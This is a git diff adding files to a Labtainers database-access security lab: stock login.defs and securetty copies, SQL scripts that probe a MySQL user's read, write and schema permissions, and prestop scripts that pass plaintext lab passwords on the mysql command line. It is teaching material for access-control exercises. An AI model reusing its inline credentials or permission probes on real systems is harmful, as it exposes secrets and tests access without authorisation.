is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/steven.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/steven.sql new file mode 100644 index 000000000..455622f54 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/steven.sql @@ -0,0 +1,43 @@ +USE MYCO; + +SELECT * FROM jobs; +SELECT * FROM dependents; +SELECT * FROM departments; + +# check for update and insert permissions +INSERT INTO employees (first_name, last_name, email, phone_number, hire_date, job_id, salary, manager_id, department_id) +VALUES ('Barry','Sanders','barry.sanders@sqltutorial.org','515.464.7777','2020-08-04',10,9000.00,201,2); + +SELECT * FROM employees WHERE phone_number = '515.464.7777'; + +UPDATE employees SET email = 'detroitlion20@MYCO.org' WHERE phone_number = '515.464.7777'; + +SELECT email FROM employees WHERE phone_number = '515.464.7777'; + +UPDATE employees SET email = 'barry.sanders@sqltutorial.org' WHERE phone_number = '515.464.7777'; + +DELETE FROM employees WHERE email = 'barry.sanders@sqltutorial.org'; + +SELECT manager_id, COUNT(DISTINCT(manager_id)) AS 'Total Managers' FROM employees GROUP BY manager_id; + +CREATE TABLE IF NOT EXISTS tasks ( + task_id INT AUTO_INCREMENT PRIMARY KEY, + title VARCHAR(255) NOT NULL, + start_date DATE, + due_date DATE, + status TINYINT NOT NULL, + priority TINYINT NOT NULL, + description TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +) ENGINE=INNODB; + +SHOW TABLES; + +DROP TABLE tasks; + +USE mysql; +SHOW TABLES; +USE performance_schema; +SHOW TABLES; +USE sys; +SHOW TABLES; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/prestop new file mode 100755 index 000000000..790a2a0f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/prestop @@ -0,0 +1,2 @@ +#!/bin/bash +su - nancy -c 'mysql -u nancy -h database -ppass4nancy -e "source nancy.sql"' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/treataslocal new file mode 100644 index 000000000..0eaebf127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_bin/treataslocal @@ -0,0 +1 @@ +mysql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/nancy.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/nancy.sql new file mode 100644 index 000000000..5a54453e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/finance/nancy.sql @@ -0,0 +1,20 @@ +USE MYCO; + +SELECT employee_id,first_name,last_name FROM employees WHERE employee_id = 109; + +SELECT * FROM jobs WHERE job_id = 12; + +SELECT * FROM dependents WHERE employee_id = 110; + +UPDATE employees SET phone_number = '515.354.4568' WHERE employee_id = 111; + +SELECT phone_number FROM employees WHERE employee_id = 111; + +UPDATE employees SET phone_number = '515.124.4369' WHERE employee_id = 111; + +USE mysql; +SHOW TABLES; +USE performance_schema; +SHOW TABLES; +USE sys; +SHOW TABLES; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/prestop new file mode 100755 index 000000000..59773fe81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/prestop @@ -0,0 +1,2 @@ +#!/bin/bash +su - susan -c 'mysql -u susan -h database -ppass4susan -e "source susan.sql"' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/treataslocal new file mode 100644 index 000000000..0eaebf127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_bin/treataslocal @@ -0,0 +1 @@ +mysql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS 